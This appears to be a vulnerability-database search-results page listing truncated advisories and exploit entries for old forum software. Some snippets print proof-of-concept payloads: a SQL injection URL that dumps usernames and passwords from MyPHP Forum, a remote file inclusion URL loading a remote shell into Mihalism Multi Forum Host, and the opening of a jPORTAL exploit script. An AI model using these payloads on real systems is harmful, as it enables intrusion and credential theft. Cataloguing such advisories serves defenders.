7170 matches found
MyPHP Forum 'faq.php' and 'member.php' Multiple SQL Injection Vulnerabilities
MyPHP Forum is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in t...
IPTBB <= 0.5.4 (viewdir id) Remote Sql Injection Vulnerability
No description provided by source. --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Remote Sql Injection ---------------------------------------------------------------...
Cross site scripting
Multiple cross-site scripting XSS vulnerabilities in IPortalX before Build 033 allow remote attackers to inject arbitrary web script or HTML via the 1 KW and 2 SF parameters to forum/loginuser.asp, and 3 the Date parameter to blogs.asp...
CVE-2007-6597
Multiple cross-site scripting XSS vulnerabilities in IPortalX before Build 033 allow remote attackers to inject arbitrary web script or HTML via the 1 KW and 2 SF parameters to forum/loginuser.asp, and 3 the Date parameter to blogs.asp...
CVE-2007-6597
Multiple cross-site scripting XSS vulnerabilities in IPortalX before Build 033 allow remote attackers to inject arbitrary web script or HTML via the 1 KW and 2 SF parameters to forum/loginuser.asp, and 3 the Date parameter to blogs.asp...
iptbb-sql.txt
--------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg --------------------------------------------------------------- Remote Sql...
IPTBB 0.5.4 - id SQL Injection
IPTBB 0.5.4 - id SQL Injection --------------------------------------------------------------- / | |\ \ / | / |/ | | |/ \ | | | |||| /| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staffatinj3ct-itdotorg...
myphp-sql.txt
Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $member variable isn't controlled so we can exploit i...
PT-2007-7428 · Iportalx · Iportalx
Name of the Vulnerable Software and Affected Versions: IPortalX versions prior to Build 033 Description: The issue concerns multiple cross-site scripting XSS vulnerabilities. These vulnerabilities allow remote attackers to inject arbitrary web script or HTML. The affected API endpoints include...
MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities
Exploit for unknown platform in category web applications ================================================================= MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC:...
MyPHP Forum 3.0 (Final) - Multiple SQL Injections
MyPHP Forum 3.0 Final - Multiple SQL Injections Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $memb...
MyPHP Forum 3.0 (Final) - Multiple SQL Injections
Name : MyPHP Forum So we can execute an sql injection thrught the bugged variable $id. PoC: http://Site/faq.php?action=view&id=-1'+union+select+1,concatusername,0x3a,password,3+from+tableprefixmember+where+uid=1/ Sql injection in member.php So $member variable isn't controlled so we can exploit i...
Mihalism Multi Forum Host <= 3.0.x Remote File Inclusion Vulnerability
No description provided by source. &nbs...
Mihalism Multi Forum Host <= 3.0.x Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ====================================================================== Mihalism Multi Forum Host = 3.0.x Remote File Inclusion Vulnerability ====================================================================== Mihalism Multi Forum Host =...
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion
Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007 GREETZ TO : TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr ,...
mihalism-rfi.txt
Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007 GREETZ TO : TrYaG-TeaM , H-T Team , RoMaNcYxHaCkEr ,...
jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit
Exploit for unknown platform in category web applications =================================================================== jPORTAL 2.3.1 & UserPatch forum.php Remote Code Execution Exploit =================================================================== ? $host = $argv1; $path = $argv2;...
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion
Mihalism Multi Forum Host 3.0.x - Remote File Inclusion Mihalism Multi Forum Host = v3.0.x Remote File Inclusion Vulnerability Script Page : http://www.mihalism.com/misc/downloads/ POC : /ScriptPage/source/includes/loadforum.php?mfhrootpath=http://Shell D0rK : Mihalism Multi Forum Host © 2007...
IPortalX - forumlogin_user.asp Multiple Cross-Site Scripting Vulnerabilities
IPortalX - forumloginuser.asp Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/27044/info iPortalX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to...
SiteScape Forum dispatch.cgi脚本TCL命令注入漏洞
BUGTRAQ ID: 26963 SiteScape Forum是一款协作解决方案，专用于满足企业、政府和军队中大型和/或分布式团队的通信和程序管理需要。 SiteScape Forum没有正确地处理发送给dispatcher.cgi脚本的某些请求，允许远程攻击者通过提交恶意HTTP请求注入并执行TCL命令。 SiteScape Forum ZX SiteScape Forum ST SiteScape --------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...